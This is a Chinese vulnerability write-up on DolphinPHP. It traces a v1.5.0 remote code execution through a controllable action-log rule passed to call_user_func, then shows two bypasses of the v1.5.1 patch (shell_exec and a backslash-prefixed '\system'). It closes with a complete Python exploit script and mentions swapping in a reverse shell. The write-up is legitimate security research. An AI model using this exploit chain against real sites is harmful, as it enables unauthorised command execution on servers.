前言
官方对v1.5.0的漏洞进行了修复,在官方的修复方案发现了一道经典的ctf题目。
本文将先对v1.5.0的rce漏洞进行深入的分析,再分析v1.5.1的绕过手法。
项目地址:https://github.com/caiweiming/DolphinPHP
v1.5.0漏洞分析
漏洞点定位
跟修复的 Commit diff一下
可以看到对call_user_func
函数的调用增加了is_disable_func()
的判断,所以漏洞点就是application\common.php
的call_user_func
函数
漏洞分析
判断参数是否可控
从call_user_func
函数开始回溯,param[1]
是回调函数名称,log[$param[0]]
是传递给回调函数的参数。
$param[1]
:这个参数的值来自于解析日志规则时的 $match[1]
数组元素,而 $match[1]
是由正则表达式 /(\[\S+?\])/
匹配
$action_info['log']
得出的。这个正则表达式的含义是匹配方括号内的非空白字符,但不包括空格、制表符、换行符等。而$action_info['log']
是一个数据库查询操作的返回值。
$log[$param[0]]
:在上文中的代码中,$param[0]
的值是从日志规则中解析出来的。在正常情况下,$param[0]
代表的是一个特定的日志数据字段值
model('admin/action')->where('module', $module)->getByName($action)
的作用是根据特定的$module
和$action
,在数据库中查找对应的信息。找一下model,发现model('admin/action')
对应的数据表是admin_action
用phpstorm的插件连一下数据库,看一下表的结构是咋样的,如下图
那么我们现在就知道了,$action_info['log']
对应的就是指定的$module
和$action
对应的 log 值
那么log数据我们是否可控呢?可以在后台看到,action_log()
对应的功能是系统中的行为管理
且log值可控,没有任何校验
$param[1]
参数构造
我们现在已经可以确定call_user_func()
的回调函数名称$param[1]
是可控的,只需要将指定的 log 数据根据 “|” 分割后的第二个数据替换为恶意的函数名称即可,如[xxxxx|phpinfo]
$log[$param[0]]
参数构造
根据上述分析,$param[0]
也是可控的,只需要将指定的 log 数据根据 “|” 分割后的第一个数据替换即可。
那么我们看一下$log[]
有哪些字段值是可控的?答案是$model
和$details
是可控的
因此我们只需要令$param[0]
的值为$model
或$details
即可控制$log[$param[0]]
参数,也就是控制传递给回调函数的参数。
那么再进行回溯,看看哪里调用了action_log()
,且$model
或$details
可控
先查找action_log()
的用法
\app\admin\controller\Attachment::disable 处调用分析
查找用法发现了这个setStatus
方法,根据注释可以知道@param string $type 操作类型:enable,disable,delete
这个setStatus
方法通过call_user_func_array
调用了action_log
然后回溯一下setStatus
方法,发现\app\admin\controller\Attachment::disable
方法调用setStatus
并传参$type
为disable
,然后setStatus
方法从请求中获取要操作的记录ID(ids
),然后将这些ID转换为逗号分隔的字符串。接着,它调用了父类的 setStatus
方法,并传递了一些参数,包括$ids
也就是上文中提到我们需要可控的$details
参数,且该处对这个$ids
没有任何过滤和判断
即$ids
->$details
->$log[$param[0]]
可控
漏洞利用
上述分析中采用回溯调用的方式进行分析,现在从功能点开始入手进行完整的漏洞利用分析。
根据\app\admin\controller\Attachment::disable
方法的注释可知,此处对应的功能点为禁用附件
先打个断点调一下
功能点位于后台中系统的附件管理
根据代码需要禁用存在的附件,因此在个人信息处上传一个头像作为附件
可以看到附件处多出了一个附件
点击禁用并抓包
进入断点后一直跟进,成功进入到action_log
方法,并且看到$model
是 attachment_disable,$details
是我们可控的值
那么我们就在行为管理处修改 attachment_disable 的值
根据漏洞分析,将log值修改为如下
点击禁用附件
抓包修改ids
值,也就是action_log
方法中$log
数组的details
值
进入断点跟一下,先看看数据库操作
找一下对应的值,成功匹配到我们上面修改的规则[details|system]
继续跟进代码直到call_user_func
处
因为在行为管理处将attachment_disable
的日志规则修改为[details|system]
因此$param[0]='details'
$param[1]='system'
并且抓包修改了ids
为calc
,即$details
为calc
因此最终的执行语句为call_user_func("system","calc");
漏洞利用成功
v1.5.1 漏洞挖掘
可以看到官方对1.5.0的rce漏洞进行了修复,如下
在call_user_func
前增加is_disable_func
检测
跟进分析一下is_disable_func()
的具体实现
is_disable_func()
首先在配置文件获取disable_functions
,最后用in_array
判断$func
是否在$disable_functions
内
继续看一下system.disable_functions
包含有哪些函数
很明显的可以看出来禁用的函数不全,那么v1.5.1的第一种绕过方式就出现了(当然还有第二种)。
shell_exec函数执行命令
很容易看出shell_exec
不在disable_functions
内,那么我们将上文中的system
替换为shell_exec
即可绕过修复继续执行命令。
绕过in_array()函数
接下来分析第二种绕过方式,上文提到is_disable_func()
用in_array
判断$func
是否在$disable_functions
,那么in_array
是否可以绕过呢?
答案很明显是肯定的,in_array()
可以用一个简单的 “\” 进行绕过(应该是ctf手都懂的奇技淫巧了吧),我们做一个测试
比如\system
就可以绕过in_array()
函数,并且可以通过call_user_func
成功执行系统命令
并且in_array()
并不会将\system
和system
进行匹配
因此我们就可以轻易的绕过disable_functions
黑名单了~
无回显rce
上文中的漏洞利用是弹一下本地的计算器,看起来很帅,实际上本项目是无回显的rce,所以为了进一步的利用,我们需要通过反弹shell或者外带等方式进行进一步利用~
exp
最后给出exp,基于无回显读取文件进行编写,想要rce直接修改payload为反弹shell即可。
#!/usr/bin/python
# -*- coding: utf-8 -*-
import base64
import sys
import requests
def send_request(session, method, path, data=None, files=None):
url = f"http://{session.host}:{session.port}{path}"
response = session.request(method, url, data=data, files=files)
return response
def exp(host, port):
payload = "echo `cat /flag` > /var/www/html/public/flag.txt"
session = requests.Session()
session.host = host
session.port = port
login_data = {
"username": "admin",
"password": "admin"
}
response1 = send_request(session, 'POST', '/admin.php/user/publics/signin.html', data=login_data)
if "登录成功" not in response1.text:
raise Exception("Login failed")
send_request(session, 'GET', '/admin.php/admin/action/index.html?page=2')
edit_data = {
"id": "13",
"module": "admin",
"name": "attachment_disable",
"title": "禁用附件",
"remark": "禁用附件",
"rule": "",
"log": r"[details|\system] 禁用了附件:附件ID([details])",
"status": "1"
}
response2 = send_request(session, 'POST', '/admin.php/admin/action/edit/id/13.html', data=edit_data)
if "编辑成功" not in response2.text:
raise Exception("Edit failed")
base64_image = "iVBORw0KGgoAAAANSUhEUgAAAAsAAAAMCAIAAAA7y9DJAAAACXBIWXMAABJ0AAASdAHeZh94AAAAF0lEQVQYlWP8//8/A17AhF96VAVNVAAA0jIDFRDZ3/YAAAAASUVORK5CYII=%"
image_bytes = base64.b64decode(base64_image)
data = {
"name": (None, '1.png'),
"type": (None, 'image/png'),
"lastModifiedDate": (None, '2024/5/30 21:29:14'),
"size": (None, '98'),
"file": ('1.png', image_bytes, 'image/png'),
}
response3 = send_request(session, 'POST', '/admin.php/admin/attachment/upload/dir/images/module/admin.html', files=data)
if "上传成功" not in response3.text:
raise Exception("Upload failed")
send_request(session, 'GET', '/admin.php/admin/attachment/index.html')
disable_data = {
"ids[]": payload
}
response4 = send_request(session, 'POST', '/admin.php/admin/attachment/disable/_t/86ba77b6.html', data=disable_data)
if "操作成功" not in response4.text:
raise Exception("rce failed")
response = send_request(session, 'GET', '/flag.txt')
return response.text
if __name__ == '__main__':
HOST = sys.argv[1]
PORT = sys.argv[2]
flag = exp(HOST, PORT)
print(flag)